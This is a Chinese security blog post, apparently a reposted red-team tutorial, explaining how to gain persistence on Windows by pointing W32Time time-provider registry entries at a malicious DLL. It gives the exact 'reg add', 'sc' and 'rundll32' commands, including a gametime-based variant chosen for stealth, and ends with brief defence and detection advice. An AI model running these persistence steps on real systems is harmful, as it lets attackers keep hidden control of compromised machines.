持久化研究-Time Providers

2019-11-14 约 140 字 预计阅读 1 分钟

声明:本文 【持久化研究-Time Providers】 由作者 col****e130 于 2019-11-14 09:06:42 首发 先知社区 曾经 浏览数 1187 次

感谢 col****e130 的辛苦付出!

0x01 什么是Time Providers

Windows时间服务(W32Time服务)维护在网络上的所有客户端和服务器的时间和日期同步。 W32Time time providers负责从硬件/网络资源中检索时间戳,并将这些值输出到其他网络客户端。

Time providers以DLL的形式实现,该文件位于System32文件夹中。Windows启动期间将启动服务W32Time并加载w32time.dll。

W32Time服务会在Windows启动期间自动启动,因此可以用在后渗透的持久化阶段。但是,此方法需要管理员级别的特权,因为指向Time Providers DLL文件的注册表项存储在HKEY_LOCAL_MACHINE中。

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders

NtpServer:时间服务提供程序服务端

NtpClient:时间服务提供程序客户端

VMICTimeProvider:时间同步提供程序库

0x02 持久化构建

生成一个恶意的DLL文件:w32time.dll

NtpClient注册表项DllName数据的默认值为%systemroot%\system32\w32time.dll

NtpServer注册表项DllName数据的默认值为%systemroot%\system32\w32time.dll

VMICTimeProvider注册表项DllName数据的默认值为%SystemRoot%\System32\vmictimeprovider.dll

该服务将在Windows启动期间启动,我们也可以通过执行以下命令手动启动。

sc.exe stop w32time
sc.exe start w32time

利用reg命令修改DllName数据的值,来达到开机运行我们恶意DLL的目的。

reg:reg命令是Windows提供的,它可以添加、更改和显示注册表项中的注册表子项信息和值,reg add将新的子项或项添加到注册表中。

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\NtpClient" /v DllName /t REG_SZ /d "C:\net\w32time.dll"

重新启动服务,恶意DLL成功运行。

修改NtpClient注册表项:

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\NtpServer" /v DllName /t REG_SZ /d "C:\net\w32time.dll"

恶意DLL成功运行。

修改VMICTimeProvider注册表项:

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\VMICTimeProvider" /v DllName /t REG_SZ /d "C:\net\w32time.dll"

恶意DLL成功运行。

修改NtpClient、NtpServer、VMICTimeProvider中任意一个注册表项,均可触发恶意DLL运行达到持久化目的。

0x03 安全与隐蔽

直接修改现有的Windows时间提供程序很容易被安全运营人员发现。

重启可能会卡在System Event Nottification Service

来自Boston MA的Scott Lundgren在C中的开发了gametime。可以使用此DLL来向操作系统注册新的时间提供服务,并在重新生成注册表项中执行修改。这样可以避免破坏现有的Windows时间服务。

https://github.com/scottlundgren/w32time

修改源码可以自定义注册表项

#define GAMETIME_SVC_KEY_NAME   L"System\\CurrentControlSet\\Services\\W32Time\\TimeProviders\\GameTime"

根据微软文档,Time providers必须实现以下回调函数:

  • TimeProvClose:返回Time provider句柄
  • TimeProvCommand:将命令发送到Time provider
  • TimeProvOpen:关闭Time providers

利用vs编译gametime,生成gametime.dll。

利用rundll32.exe运行 gametime.dll的Register函数,rundll32.exe用于在内存中运行DLL文件,它的作用是执行DLL文件中的内部函数,这样在进程当中,只会有 Rundll32.exe,而不会有DLL后门的进程,这样,就实现了进程上的隐藏。

rundll32.exe gametime.dll,Register

生成注册表项GameTime

修改注册表项GameTime:

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\GameTime" /v DllName /t REG_SZ /d "C:\net\w32time.dll"

成功执行恶意DLL。

运行下列命令清理相关程序。

rundll32.exe gametime.dll,Deregister

0x04 防御

  1. 限制文件和目录权限

    考虑使用组策略来配置和阻止对W32Time DLL的添加/修改。

  2. 限制注册表权限

    考虑使用组策略在注册表中配置和阻止对W32Time参数的修改。

0x05 自动检测

监视修改注册表中的W32Time数值相关的进程,包括应用程序编程接口(API)调用(例如RegCreateKeyEx和RegSetValueEx)以及W32tm.exe程序的执行。

利用Sysinternals Autoruns工具分析。

关键词:[‘渗透测试’, ‘渗透测试’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now